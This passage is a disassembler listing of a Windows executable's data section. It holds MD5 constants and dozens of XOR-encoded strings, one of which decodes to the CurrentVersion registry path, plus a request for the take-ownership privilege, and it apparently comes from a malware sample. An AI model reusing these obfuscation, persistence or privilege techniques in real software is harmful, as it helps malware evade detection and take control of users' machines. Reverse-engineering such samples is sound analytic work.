		dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh
		dd 49B40821h
dword_54F3A0	dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh
					; DATA XREF: sub_43F052+3Fo
		dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h,	0C33707D6h
		dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h
		dd 8D2A4C8Ah
dword_54F3E0	dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h
					; DATA XREF: sub_43F052+52o
		dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh
		dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h
		dd 0C4AC5665h
dword_54F420	dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h
					; DATA XREF: sub_43F052+65o
		dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh,	0FE2CE6E0h
		dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh
		dd 0EB86D391h
off_54F460	dd offset loc_444C3A	; DATA XREF: sub_444AA8+18Br
		dd offset loc_444C45
		dd offset loc_444C9B
		dd offset loc_444CF7
dword_54F470	dd 4, 6A0028h, 6C0067h,	71hdword_54F480	dd 0B1DA0006h, 0ACF7ABB1h		db 0A2h, 0
word_54F48A	dw 6			; DATA XREF: sub_444ED7+1F0o
		dd 0A2B8B8D3h, 0ABA5FEh
dword_54F494	dd 0A5CE0006h, 0B8E3BFA5h		db 0B6h, 0
word_54F49E	dw 8			; DATA XREF: sub_444ED7+107o
		dd 2B075174h, 510C0019h
		db 1, 0
word_54F4AA	dw 6			; DATA XREF: sub_444ED7+C5o
		dd 68727219h, 616F34h
dword_54F4B4	dd 3E1B0007h, 6F764468h		db 63h,	2Ah, 0
byte_54F4BF	db 0Ch			; DATA XREF: sub_444E05+B1o
		dd 80ADE900h, 8CAE999Ah, 9B88B99Dh
		db 88h,	84h, 0
byte_54F4CF	db 0Bh			; DATA XREF: sub_444E05+95o
		dd 0A691C700h, 0A9A6AEB5h, 0AEA98EB3h
		db 0B3h, 0
word_54F4DE	dw 0Ch			; DATA XREF: sub_444E05+79o
aLsglduijpls	db '꼋˜ƒ‹„©†‹˜',0
word_54F4EE	dw 0Eh			; DATA XREF: sub_444E05+5Do
		dd 0E3E9C390h, 0FFFCFCD1h, 0E2E4C3F3h, 0F7FEF9h
dword_54F500	dd 0D685000Dh, 0F7C3F6FCh, 0F1D6E0E0h, 0E2EBECF7h
					; DATA XREF: sub_444E05:loc_444E46o
		db 0
byte_54F511	db 0Ch,	0, 3Ah		; DATA XREF: sub_444E05+2Ao
		dd 5B5F5655h, 8094E4Fh,	56565E14h
		db 0
byte_54F521	db 0Ch,	0, 24h		; DATA XREF: sub_444E05+1o
		dd 4541484Bh, 16175051h, 4848400Ah
		db 0
byte_54F531	db 4, 0, 42h		; DATA XREF: sub_444250+4BAo
aL6		db 'l',0
asc_54F539	db 0Bh,0		; DATA XREF: sub_444250+43Co
aTISiRkvv	db 'Î’¾ë»‘ë»àª¢¢',0
dword_54F548	dd 0F1A70001h			db 0
byte_54F54D	db 1, 0, 86h		; DATA XREF: sub_4440DD+21o
		db 0D3h, 0
word_54F552	dw 17h			; DATA XREF: sub_443E8D:loc_444094o
aSSSSSsSSSST	db '¼™ß™ß™ß™ß‘™ß™ß™ß™ß™ß’ßÓÑ',0
byte_54F56D	db 16h,	0, 8Dh		; DATA XREF: sub_443E8D+1C1o
		dd 2 dup(0EEA8EEA8h), 0A8A0EEA8h, 0A8EEA8EEh, 0A3EEA8EEh
		db 0FFh, 0F8h, 0
byte_54F587	db 0Ah			; DATA XREF: sub_443E1B+27o
		dd 5B4E3D00h, 4E52625Eh, 51515913h
		db 0
byte_54F595	db 0Ah,	0, 86h		; DATA XREF: sub_443E1B+1o
		dd 0D9E5E0F5h, 0E2A8F5E9h
		db 2 dup(0EAh),	0
byte_54F5A3	db 4			; DATA XREF: sub_443B7F:loc_443BB3o
		dd 0E6A08500h
		db 0BFh, 0D9h, 0
byte_54F5AB	db 10h			; DATA XREF: sub_443885+16Bo
		dd 0D7E0B200h, 0D7C7E3D5h, 0D3E4CBC0h, 0F7D7C7DEh
		db 0CAh, 0F3h, 0
byte_54F5BF	db 10h			; DATA XREF: sub_443885+156o
		dd 86B9F600h, 84A69893h, 85939599h, 9D99A285h
		db 93h,	98h, 0
byte_54F5D3	db 13h			; DATA XREF: sub_443885+141o
		dd 94B6F100h, 9A9EA585h, 9FB89F94h, 9C839E97h, 9E988590h
		db 9Fh,	0
off_54F5EA	dd offset dword_49001C	; DATA XREF: sub_443885+12Co
		dw 2027h
		dd 2528203Dh, 1A2C3320h, 3B3C2A2Ch, 0D303D20h, 3B2A3A2Ch
		dd 263D3920h
		db 3Bh,	0
word_54F60A	dw 0Ch			; DATA XREF: sub_443885+117o
		dd 17062463h, 11061036h, 60E022Dh
		db 22h,	0
word_54F61A	dw 0Dh			; DATA XREF: sub_443885+102o
		dd 21231446h, 28233609h, 33F230Dh
		db 3Eh,	7, 0
byte_54F62B	db 1Ah			; DATA XREF: sub_443885+EDo
		dd 0C3F5A600h, 0C5C3F5D2h, 0D2CFD4D3h, 0D5C3E2DFh, 0D6CFD4C5h
		dd 0E9D4C9D2h, 0D4C3C8D1h
		db 0
byte_54F649	db 12h,	0, 0C4h		; DATA XREF: sub_443885+D8o
aGbCnacJeMlN	db 'ƒ¡°—­ —±¦…±°¬«¶­°½',0
byte_54F65F	db 10h			; DATA XREF: sub_443885+C3o
		dd 0A395C600h, 0AAAF80B2h, 0A5A395A3h, 0B2AFB4B3h
		db 0BFh, 87h, 0
byte_54F673	db 15h			; DATA XREF: sub_443885+AEo
		dd 0C2E1AD00h, 0DDD8C6C2h, 0DBC4DFFDh, 0CAC8C1C4h, 0C1CCFBC8h
		dd 0ECC8D8h
dword_54F68C	dd 0F5B20017h, 0DBE1C6D7h, 0D0C7E1D6h, 0DAC6C7F3h, 0C6DBC0DDh
					; DATA XREF: sub_443885+99o
		dd 0C7DDF1CBh
		db 0DCh, 0C6h, 0
byte_54F6A7	db 15h			; DATA XREF: sub_443885+84o
		db    0
		db 5, 44h, 61h
aOpvqqjnKuwlsli	db 'opvqQjn`kUwlsli`b`v',0
asc_54F6C0	db 0Bh,0		; DATA XREF: sub_443885+6Fo
aZmokdgMcmq	db '(zMOkDG[McMQ',0
byte_54F6CF	db 19h			; DATA XREF: sub_443885+5Ao
		dd 0B391D600h, 0B2BF85A2h, 0B8B3B29Fh, 0BFB0BFA2h, 0A397A4B3h
		dd 0A4B9BEA2h, 0AFA2BFh
dword_54F6EC	dd 14470019h, 22143322h, 2E353224h, 22033E33h, 2E352434h
					; DATA XREF: sub_443885:loc_4438CAo
		dd 35283337h, 2B242603h
		db 0
byte_54F709	db 0Ch,	0, 0CDh		; DATA XREF: sub_443885+2Eo
		dd 0ACBBA9ACh, 0FFFEA4BDh, 0A1A1A9E3h
		db 0
byte_54F719	db 0Ch,	0, 0EEh		; DATA XREF: sub_443885+1o
aPkspuzKvv	db 'Š˜‡İÜÀŠ‚‚',0
byte_54F729	db 1, 0, 14h		; DATA XREF: sub_44296E+DB6o
		db 68h,	0
word_54F72E	dw 2			; DATA XREF: sub_44296E+D8Ao
		dd 0ADF1D1h
dword_54F734	dd 0C6FC0001h			db 0
byte_54F739	db 4, 0, 1Bh		; DATA XREF: sub_44296E:loc_443621o
aN		db ';>n!',0
byte_54F741	db 1, 0, 9		; DATA XREF: sub_44296E+746o
		db 75h,	0
word_54F746	dw 0Ah			; DATA XREF: sub_44296E+4FCo
		dd 770D1131h, 0B7C637Eh, 0F4414h
dword_54F754	dd 0D4F4000Bh, 0B5A6B2C8h, 0D1CEB1B9h		db 81h,	0CAh, 0
byte_54F763	db 0Ah			; DATA XREF: sub_44296E+303o
		dd 0BBA78700h, 0CAC6D5C1h, 0B9CABDC2h, 0
dword_54F774	dd 5, 7C000Ah, 66006Bh,	6F007Fh, 0dword_54F788	dd 4, 52003Ch, 51005Dh,	59hdword_54F798	dd 0E2E0002h			db 0Eh,	0
word_54F79E	dw 1			; DATA XREF: sub_4427CD:loc_4428C9o
		db 0BBh, 94h, 0
byte_54F7A3	db 12h			; DATA XREF: sub_4427CD:loc_442818o
		dd 0DEC0AD00h, 0DEC1D9CEh, 0CCD9DEF2h, 0CFDED8D9h, 9F9EDFCCh
		db 0
byte_54F7B9	db 0Eh,	0, 0FEh		; DATA XREF: sub_4427CD+10o
aKqIcrSiTqnn	db 'ªŸœ©—𑉽’Ÿ',0
byte_54F7CB	db 3			; DATA XREF: sub_441F06+32Eo
		dd 71251E00h
		db 23h,	0
word_54F7D2	dw 4			; DATA XREF: sub_441F06:loc_4421A9o
		dd 716D251Eh
		db 23h,	0
word_54F7DA	dw 4			; DATA XREF: sub_441F06:loc_442170o
		dd 0C198C7FCh
		db 0D6h, 0
word_54F7E2	dw 4			; DATA XREF: sub_441F06+224o
		dd 0CF96C9F2h, 0D3h
dword_54F7EC	dd 3, 590010h, 57005Dh		db 2 dup(0)
word_54F7FA	dw 1			; DATA XREF: sub_441DB2+46o
		db 96h,	0CAh, 0
byte_54F7FF	db 0Fh			; DATA XREF: sub_441843+13Eo
		dd 7B2D0800h, 646E6C54h, 3B727D2Dh, 646C263Ah
		db 64h,	0
word_54F812	dw 10h			; DATA XREF: sub_441843+10Do
		dd 98B7E1C4h, 0E1B6B7B3h, 0F7B0BEB1h, 0A8A0EAF6h
		db 0A8h, 0
word_54F826	dw 0Bh			; DATA XREF: sub_441843+A2o
		dd 8EA1F7D2h, 0A7F7A1F7h, 0A1BEBCFCh
		db 0
byte_54F835	db 0Fh,	0, 0B6h		; DATA XREF: sub_441843+74o
aUUEds		db '“ÅêİĞ“ÃÚÌ…„˜ÒÚÚ',0
dword_54F848	dd 8BAE0004h, 0F69C80hdword_54F850	dd 0CDE80001h			db 0
byte_54F855	db 2, 0, 0FAh		; DATA XREF: sub_441795:loc_4417DCo
		db 0DFh, 99h, 0
byte_54F85B	db 9			; DATA XREF: sub_4412D8+1E7o
		dd 0CCEEBE00h, 0DDCBDAD1h, 0DAF7CAh
unk_54F868	db  2Ch	; ,		; DATA XREF: sub_4412D8+1D7o
		align 2
		dw 5506h
aI@rqgtczkoetiu	db 'I@RQGTCZKoetiui`rZQohbiqu&HRZEsttchrPctuoih',0
asc_54F898	db 9,0			; DATA XREF: sub_4412D8+179o
		dw 2F7Fh
		dd 0A1B100Dh, 1B360B1Ch
		db 0
byte_54F8A5	db 29h,	0, 1		; DATA XREF: sub_4412D8+169o
aRnguv@sdLhbsnr	db 'RNGUV@SD]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno',0
word_54F8D2	dw 1			; DATA XREF: sub_4412D8+14Do
		db 0A4h, 8Ah, 0
byte_54F8D7	db 4			; DATA XREF: sub_4412D8+EAo
		dd 0E4ECC100h
		db 99h,	0EFh, 0
byte_54F8DF	db 3			; DATA XREF: sub_4412D8+9Do
		dd 6B325100h
		db 0Dh,	0
word_54F8E6	dw 8			; DATA XREF: sub_4412D8:loc_44133Do
		dd 45F0F2Ah, 0F045F0Fh
		db 5Fh,	0
word_54F8F2	dw 2			; DATA XREF: sub_4412D8+50o
		dd 0E7FDB3h
dword_54F8F8	dd 0CAF30002h			db 0ABh, 0
word_54F8FE	dw 0Bh			; DATA XREF: sub_441272:loc_4412B1o
aKzmiMngfI	db '(kZMI\MnGF\i',0
asc_54F90D	db 9,0			; DATA XREF: sub_441272+28o
aVgq		db '±ÖÕØ‚ƒŸÕİİ',0
asc_54F91A	db 9,0			; DATA XREF: sub_441272+1o
aS47A7??	db 'S47:`a}7??',0
asc_54F927	db 0Dh,0		; DATA XREF: sub_440FB0:loc_44118Fo
		db 12h,	61h, 6Bh
		dd 7F776661h, 747D6062h, 777E7Bh
dword_54F938	dd 187D0006h, 1E140B0Fh		db 18h,	0
word_54F942	dw 1			; DATA XREF: sub_440FB0+105o
		db 0Eh,	2Ah, 0
byte_54F947	db 6			; DATA XREF: sub_440FB0:loc_441055o
		dd 414B1800h, 555D4C4Bh
		db 0
byte_54F951	db 8, 0, 0Fh		; DATA XREF: sub_440FB0:loc_44100Fo
aJYflj		db '/\J]YFLJ',0
a@		db '@',0                ; DATA XREF: sub_440E73:loc_440EABo
		db 18h
		db  59h	; Y
		db 5Ah,	5Bh, 5Ch
		db  5Dh	; ]
		db 5Eh,	5Fh, 50h
		db  51h	; Q
		db 52h,	53h, 54h
		db  55h	; U
		db 56h,	57h, 48h
		db  49h	; I
		db 4Ah,	4Bh, 4Ch
		db  4Dh	; M
		db 4Eh,	4Fh, 40h
		db  41h	; A
		db 42h,	79h, 7Ah
		db  7Bh	; {
		db 7Ch,	7Dh, 7Eh
		db  7Fh	; 
aPqrstuvwhijklm	db 'pqrstuvwhijklmno`ab()*+,-./ !37',0
		align 4
asc_54F9A4:				; DATA XREF: sub_440B82+28Fo
		dw 9
		unicode	0, <>,0
aI		db '¨',0
		db 'Ê',0
		db 'Í',0
		db 'Î',0
		db 'Ç',0
		db 'Ú',0
		db 'Í',0
aA		db 'í',0
		db 'Æ',0
		db 'Ì',0
		db 2 dup(0)
word_54F9BE	dw 20h			; DATA XREF: sub_440B82+1F9o
		dd 70237550h, 6D332223h, 20242438h, 757F7F6Ah, 6D386F23h
		dd 26762375h, 7625756Dh, 23756D20h
		db 6Eh,	0
word_54F9E2	dw 43h			; DATA XREF: sub_440B82+16Eo
		dd 21722401h, 3C627372h, 71757569h, 242E2E3Bh, 3C693E72h
		dd 68277224h, 2474243Ch, 3C6E2772h, 67277424h, 2762243Ch
		dd 243C6872h, 6E722772h, 2774243Ch, 243C6D75h, 3C772774h
		dd 65277424h, 3F72243Ch
		db 0
byte_54FA29	db 10h,	0, 0BDh		; DATA XREF: sub_440B82+F0o
aSAAsTvAsG	db '˜ÎÎÏŞ€˜Î’‚Û€˜Şƒ',0
byte_54FA3D	db 1Eh,	0, 49h		; DATA XREF: sub_440B82+91o
aU_iTyi_TyiTy	db 'u $.i> -=!tyi!, .!=tyi+&;-,;ty',0
asc_54FA5F	db 7,0			; DATA XREF: sub_440B82+60o
		db 0C7h, 0FBh, 0A5h
		dd 0A5E8FBF9h
		db 0F9h, 0
word_54FA6A	dw 0Bh			; DATA XREF: sub_4408C5+224o
		dd 1D0B236Eh, 0B090F1Dh, 2F16012Ch
		db 0
byte_54FA79	db 0Dh,	0, 74h		; DATA XREF: sub_4408C5+20Fo
		dd 71130h, 230D1B06h, 1B101A1Dh
		db 3, 0
word_54FA8A	dw 0Eh			; DATA XREF: sub_4408C5+1FAo
aAZdDzLzt	db 'Ó€¶§„º½·¼¤‡¶«§’',0
dword_54FA9C	dd 0B4E0012h, 0A233B20h, 3A253D2Bh, 27193E21h, 39212A20h
					; DATA XREF: sub_4408C5+1E5o
asc_54FAB0:				; DATA XREF: sub_4408C5+1D0o
		unicode	0, <=>
		dw 0Ah
		dw 0ACE1h
aOcdIpeoc	db '—„¶ˆ…–',0
dword_54FAC0	dd 54100010h, 71606379h, 5D787364h, 71636375h, 517577h
					; DATA XREF: sub_4408C5+1BBo
dword_54FAD4	dd 81C6000Bh, 0A38BB2A3h, 0A1A7B5B5h		db 0A3h, 87h, 0
byte_54FAE3	db 9			; DATA XREF: sub_4408C5+191o
		dd 77551200h, 7C7B4566h, 657D76h
dword_54FAF0	dd 0B0F7000Dh, 9EA08392h, 80989399h, 839492A5h		db 0
byte_54FB01	db 0Fh,	0, 0E6h		; DATA XREF: sub_4408C5+167o
aEzkkPivisFiez	db '¥‡ŠŠ±ˆ‚‰‘¶”‰…§',0
dword_54FB14	dd 88CF000Eh, 0A698BBAAh, 0B8A0ABA1h, 0BBB7AA9Bh
					; DATA XREF: sub_4408C5+152o
		db 8Eh,	0
word_54FB26	dw 0Dh			; DATA XREF: sub_4408C5+13Do
		dd 0F1E3C7Bh, 81A1738h,	161A3508h
		db 1Eh,	3Ah, 0
byte_54FB37	db 0Eh			; DATA XREF: sub_4408C5+128o
		dd 4C7A2900h, 47407E5Dh, 655E464Dh, 684E4746h
		db 0
byte_54FB49	db 0Ch,	0, 0EAh		; DATA XREF: sub_4408C5+113o
aPdozpsslnpl	db '¹„§™™‹«',0
byte_54FB59	db 10h,	0, 0D3h		; DATA XREF: sub_4408C5+FEo
aZbAZUAa	db '‡¡²½ ¿²§¶¶  ²´¶',0
asc_54FB6D	db 8,0			; DATA XREF: sub_4408C5+E9o
aXAsMiac	db 'å¶€‘±Œˆ€—',0
asc_54FB79	db 8,0			; DATA XREF: sub_4408C5+D4o
aMJxqKm		db '>m[JxQ]KM',0
byte_54FB85	db 0Eh,	0, 0F8h		; DATA XREF: sub_4408C5+BFo
aKaqslmakFsll	db 'ªŸ‘‹ŒŠ»”™‹‹¹',0
asc_54FB97	db 0Ah,0		; DATA XREF: sub_4408C5+AAo
		db 80h,	0D3h, 0E8h
		dd 0E9D7F7EFh, 0F7EFE4EEh
		db 0
byte_54FBA5	db 0Dh,	0, 15h		; DATA XREF: sub_4408C5+95o
aSQbQzbpmt	db 'S|{qB|{qzbPmT',0
word_54FBB6	dw 0Fh			; DATA XREF: sub_4408C5+80o
		dd 35221350h, 7352431h,	3F343E39h, 11281527h
		db 0
byte_54FBC9	db 13h,	0, 45h		; DATA XREF: sub_4408C5+6Bo
		dd 3312002h, 2220372Ah,	2B302A37h, 2B2C1221h, 322A21h
dword_54FBE0	dd 0B7F0000Eh, 99A78495h, 879F949Eh, 979E9FBCh		db 0B1h, 0
word_54FBF2	dw 0Eh			; DATA XREF: sub_4408C5:loc_440906o
		dd 9596B7F3h, 979D9AA4h, 81A3849Ch, 0B2909Ch
dword_54FC04	dd 90E5000Ah, 0D6978096h, 8981CBD7h		db 89h,	0
word_54FC12	dw 0Ah			; DATA XREF: sub_4408C5+1o
		dd 0BFA9AFDAh, 0F4E8E9A8h, 0B6B6BEh
dword_54FC20	dd 0CA89000Dh, 0FAE8DDE6h, 0E4ECC4E2h, 0ECECFBCFh
					; DATA XREF: sub_4407D3+D1o
		db 0
byte_54FC31	db 0Bh,	0, 0C0h		; DATA XREF: sub_4407D3+B5o
aIEBmzxid	db '‰³…±µ¡¬‡•‰„',0
dword_54FC40	dd 2410010h, 2433022Eh,	8243520h, 2035322Fh, 24222Fh
					; DATA XREF: sub_4407D3+99o
dword_54FC54	dd 0DA99000Fh, 0DDD0CAD5h, 0F4F6EBDFh, 0F0EBEDCAh
					; DATA XREF: sub_4407D3+7Do
		db 0F7h, 0FEh, 0
byte_54FC67	db 0Ch			; DATA XREF: sub_4407D3+61o
		dd 19357600h, 21F183Fh,	1F1A171Fh
		db 0Ch,	13h, 0
byte_54FC77	db 0Eh			; DATA XREF: sub_4407D3:loc_440818o
		dd 3D115200h, 3C3B3C07h, 333B263Bh, 37283B3Eh
		db 0
byte_54FC89	db 9, 0, 7Bh		; DATA XREF: sub_4407D3+2Eo
		dd 481E1714h, 171F5549h
		db 17h,	0
word_54FC96	dw 9			; DATA XREF: sub_4407D3+1o
		dd 999093FCh, 98D2CECFh
		db 2 dup(90h), 0
byte_54FCA3	db 0			; DATA XREF: sub_44050C:loc_440768o
		db 0, 5Eh, 0
byte_54FCA7	db 1			; DATA XREF: sub_44050C:loc_4406F7o
		dd 0D6AE00h
dword_54FCAC	dd 124E0001h			db 0
byte_54FCB1	db 1, 0, 54h		; DATA XREF: sub_43FD1A:loc_440267o
		db 74h,	0
word_54FCB6	dw 0			; DATA XREF: sub_43FD1A+504o
		db 0F1h, 0
word_54FCBA	dw 13h			; DATA XREF: sub_43FD1A+4D2o
aTMgaozCnGccknr	db 'â·Œƒ€‡Â–ƒ—–Š‹˜‡',0
a5		db '5',0                ; DATA XREF: sub_43FD1A+4C2o
		db 0DAh
		dd 0B8BBB48Fh, 0AEFABFB6h, 0AFBBFAB5h, 0A8B5B2AEh, 0FABFA0B3h
		dd 9493FAF7h, 88889599h, 0FA8E999Fh, 0F494938Ah, 0BFB68AFAh
		dd 0F6BFA9BBh, 0A8B5B9FAh, 0AEB9BFA8h
		db 0F4h, 0
word_54FD0A	dw 1			; DATA XREF: sub_43FD1A:loc_440028o
		db 0CAh, 0E7h, 0
byte_54FD0F	db 1Eh			; DATA XREF: sub_43FD1A+2B4o
		dd 1E227200h, 17011317h, 1701525Eh, 611171Eh, 20A3752h
		dd 613001Bh, 521C1D1Bh,	13172Bh
		db 0
byte_54FD31	db 1, 0, 3Dh		; DATA XREF: sub_43FD1A:loc_43FF59o
		db 1Dh,	0
word_54FD36	dw 1Fh			; DATA XREF: sub_43FD1A+1E3o
aUpjvJquJpjaUjK	db 'Ó¯¦¢°¦ïã°¦¯¦ ·ã†»³ª±¢·ª¬­ã¬­·«',0
byte_54FD59	db 12h,	0, 0D0h		; DATA XREF: sub_43FB17+5Ao
aGSgcAvDD	db 'ƒ¶³™£–¹¼µ€¢¿¤µ³¤µ´',0
asc_54FD6F	db 7,0			; DATA XREF: sub_43FB17+31o
		db 3Dh,	4Eh, 5Bh
		dd 5159135Eh
		db 51h,	0
word_54FD7A	dw 7			; DATA XREF: sub_43FB17+1o
		dd 55504536h, 5A5A5218h
		db 0
byte_54FD85	db 1, 0, 0C0h		; DATA XREF: sub_43F81A+205o
		db 0BCh, 0
word_54FD8A	dw 5Ah			; DATA XREF: sub_43F81A+D5o
		dd 0D3D3F1B0h, 0C4DEC5DFh, 0DDD1FE90h, 0FFE093D5h, 0E39083E0h
		dd 0D5C6C2D5h, 0FDE393C2h, 0E390E0E4h, 0D5C6C2D5h, 0FDE393C2h
		dd 0F490E0E4h, 0DCC0C3D9h, 0FE90C9D1h, 93D5DDD1h, 0E0E4FDE3h
		dd 0D1DDF590h, 0F190DCD9h, 0D5C2D4D4h, 0E093C3C3h, 9083E0FFh
		dd 0C2D5C3E5h, 0DDD1FE90h, 9393D5h
dword_54FDE8	dd 1B4B000Eh, 6B781B04h, 38382A1Bh, 2F39243Ch		db 79h,	0
word_54FDFA	dw 39h			; DATA XREF: sub_43F81A:loc_43F838o
		dd 646D7122h, 70637576h, 4B6F7E67h, 514D5041h, 7E56444Dh
		dd 47564C6Bh, 56474C50h, 41416302h, 564C574Dh, 4C436F02h
		dd 50474543h, 4141637Eh, 564C574Dh, 12077E51h
		db 1Ah,	5Ah, 0
aSetakeownershi	db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_43ECD2+1C2o
dword_54FE50	dd 0B89D0005h, 0C1EEB8EEh		db 0
byte_54FE59	db 5, 0, 0FBh		; DATA XREF: sub_43E77A+1F2o
aIIz		db 'ވވ§',0
word_54FE62	dw 3			; DATA XREF: sub_43E77A+C9o
		dd 550C5A7Fh
		db 0
byte_54FE69	db 4, 0, 4		; DATA XREF: sub_43E77A+6Eo
aGX		db '!g>X',0
byte_54FE71	db 1, 0, 0E0h		; DATA XREF: sub_43E364+3A5o
		db 9Ch,	0
word_54FE76	dw 1			; DATA XREF: sub_43E364+34Bo
		db 0E6h, 9Ah, 0
byte_54FE7B	db 19h			; DATA XREF: sub_43E364+2EEo
		dd 0C5C28B00h, 0C4C8DFCEh, 0D8ABC6C6h, 0EEFDF9EEh, 0EADBABF9h
		dd 0E4FCF8F8h, 0F8EFF9h
dword_54FE98	dd 0F78B0001h			db 0
byte_54FE9D	db 5, 0, 0ADh		; DATA XREF: sub_43DB03+2CCo
		dd 88F1DE88h
		db 0DEh, 0
word_54FEA6	dw 5			; DATA XREF: sub_43DB03+25Eo
aTqQ		db 'tQ',7,'(Q',7,0
byte_54FEAF	db 4			; DATA XREF: sub_43DB03+17o
		dd 81D7F200h
		db 0AEh, 0D8h, 0
byte_54FEB7	db 1			; DATA XREF: sub_43D41A+284o
		dd 654400h
dword_54FEBC	dd 0DBF10001h			db 0
byte_54FEC1	db 4, 0, 2Eh		; DATA XREF: sub_43D41A+1F3o
a___		db '*...',0
byte_54FEC9	db 1, 0, 2Ch		; DATA XREF: sub_43D090+333o
		db 0Fh,	0
word_54FECE	dw 1			; DATA XREF: sub_43D090+2DEo
		db 6Fh,	4Ch, 0
byte_54FED3	db 1			; DATA XREF: sub_43D090+25Eo
		dd 0E9CA00h
dword_54FED8	dd 0A3CB0007h, 0F1BBBFBFh		db 2 dup(0E4h),	0
byte_54FEE3	db 1			; DATA XREF: sub_43D090+1F2o
		dd 200300h
dword_54FEE8	dd 335B0007h, 612B2F2Fh		db 2 dup(74h), 0
byte_54FEF3	db 0Bh			; DATA XREF: sub_43D090+10o
		dd 8289EA04h, 8F82898Fh, 8F989A84h, 83C49999h, 0C9858C84h
		dd 8E86858Dh, 8686859Ah, 878589C4h, 9E8483C9h, 8E86858Dh
		dd 878589C4h, 9D9D9DC9h, 988889C4h, 0C99F98C4h,	0C49D9D9Dh
		dd 82899C8Bh, 0C481898Fh, 99C99F98h, 8798859Eh,	0C4938B9Ah
		dd 0C9878589h, 9E9F9889h, 84C49A85h, 8F84C99Fh,	8D8FC49Dh
		dd 8589C48Dh, 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h
		dd 878589C4h, 899C8BC9h, 81898F82h, 0C99F98C4h,	82899C8Bh
		dd 0C481898Fh, 0C9908388h, 0C49D9D9Dh, 84838888h, 0C99F98C4h
		dd 9E998B87h, 92C7988Fh, 878589C4h, 9D9D9DC9h, 84859AC4h
		dd 89998390h, 0C499878Bh, 0C9878589h, 0C49D9D9Dh, 81848B88h
		dd 848B88C7h, 0C78F9F9Bh, 8B848B89h, 89C48B8Eh,	9D9DC98Bh
		dd 859AC49Dh, 99839084h, 99878B89h, 878589C4h, 9D9D9DC9h
		dd 858788C4h, 878589C4h, 938B9AC9h, 0C4868B9Ah,	0C9878589h
		dd 938B888Fh, 878589C4h, 9D9D9DC9h, 848B88C4h, 878C8581h
		dd 989F8E8Bh, 8589C48Bh, 9D9DC987h, 8389C49Dh, 89C48988h
		dd 9DC98785h, 9CC49D9Dh, 98C4889Eh, 9D9DC99Fh, 9D89C49Dh
		dd 81848B88h, 878589C4h, 86858DC9h, 86859A8Eh, 8589C486h
		dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
		dd 9D9D9DC9h, 888787C4h, 0C481848Bh, 9DC99F98h,	9FC49D9Dh
		dd 998B8384h, 879F989Eh, 0C99F98C4h, 8E86858Dh,	8686859Ah
		dd 878589C4h, 9D9D9DC9h, 84859AC4h, 89998390h, 0C499878Bh
		dd 0C9878589h, 0C49D9D9Dh, 8698859Dh, 848B888Eh, 9885C481h
		dd 9D9DC98Dh, 8B89C49Dh, 8E838E84h, 9C8F9E8Bh, 8C83988Fh
		dd 0C4988F83h, 0C9878589h, 0C49D9D9Dh, 9084859Ah, 8B899983h
		dd 89C49987h, 9DC98785h, 88C49D9Dh, 8581848Bh, 8E84838Ch
		dd 89C48B83h, 9DC98785h, 83C49D9Dh, 848B8889h, 9F98C481h
		dd 899C8BC9h, 81898F82h, 0C99F98C4h, 0C49D9D9Dh, 8E848F9Ch
		dd 84999885h, 0C48F878Bh, 9DC9999Dh, 81C49D9Dh,	98C48887h
		dd 9D9DC99Fh, 8F84C49Dh, 8D8B879Eh, 8F9E9983h, 8589C498h
		dd 8B81C987h, 908B819Ch, 9E848F89h, 89C4988Fh, 9DC98785h
		dd 9CC49D9Dh, 858E848Fh, 8B849998h, 9DC48F87h, 9387C999h
		dd 83868485h, 898B8F84h, 849F8589h, 0C4D8999Eh,	8F88888Bh
		dd 9E8B8493h, 8B848583h, 8589C486h, 0C9819FC4h,	83868485h
		dd 88C78F84h, 8483999Fh, 0C499998Fh, 93858686h,	999E998Eh
		dd 8589C488h, 0C9819FC4h, 0C49D9D9Dh, 8B86868Bh, 8B888B82h
		dd 848B888Eh, 8589C481h, 9D9DC987h, 8898C49Dh, 8589C489h
		dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
		dd 9D9D9DC9h, 9982C4DBh, 89C48988h, 8D81C98Bh, 868F9888h
		dd 8689928Bh, 98C4889Fh, 8B93C99Fh, 0C4858887h,	0C9908388h
		dd 858E8381h, 8B88C799h, 98C48184h, 9D9DC99Fh, 8886C49Dh
		dd 98838E89h, 0C49E898Fh, 989F8B86h, 839E848Fh,	8B88848Bh
		dd 89C48184h, 8B88C98Bh, 8B868998h, 89C49993h, 9EC98785h
		dd 868B9E85h, 988C9386h, 8B888F8Fh, 84838184h, 8589C48Dh
		dd 9D9DC987h, 8884C49Dh, 8B89C489h, 88D9DFC9h, 0C481848Bh
		dd 0C9878589h, 0C49D9D9Dh, 8E848F9Ch, 84999885h, 0C48F878Bh
		dd 9DC9849Ch, 88C49D9Dh, 9EC788D8h, 9E999F98h, 878589C4h
		dd 9D9D9DC9h, 848F9CC4h, 9998858Eh, 8F878B84h, 0C9999DC4h
		dd 848F9A85h, 81848B88h, 878589C4h, 9E8B9EC9h, 8C8F84C7h
		dd 848B889Eh, 9F98C481h, 898F99C9h, 0C4888B86h,	99C99F98h
		dd 989F898Fh, 86939E83h, 98C4888Bh, 8F8CC99Fh, 988B829Eh
		dd 8388C48Eh, 988DC990h, 9A928485h, 8F848B86h, 98C4999Eh
		dd 8F9CC99Fh, 98858E84h, 878B8499h, 849CC48Fh
		db 0C9h, 0
word_550302	dw 4			; DATA XREF: sub_43CCB6+70o
		dd 474F5A7Fh
		db 27h,	0
word_55030A	dw 12h			; DATA XREF: sub_43CBF8:loc_43CC37o
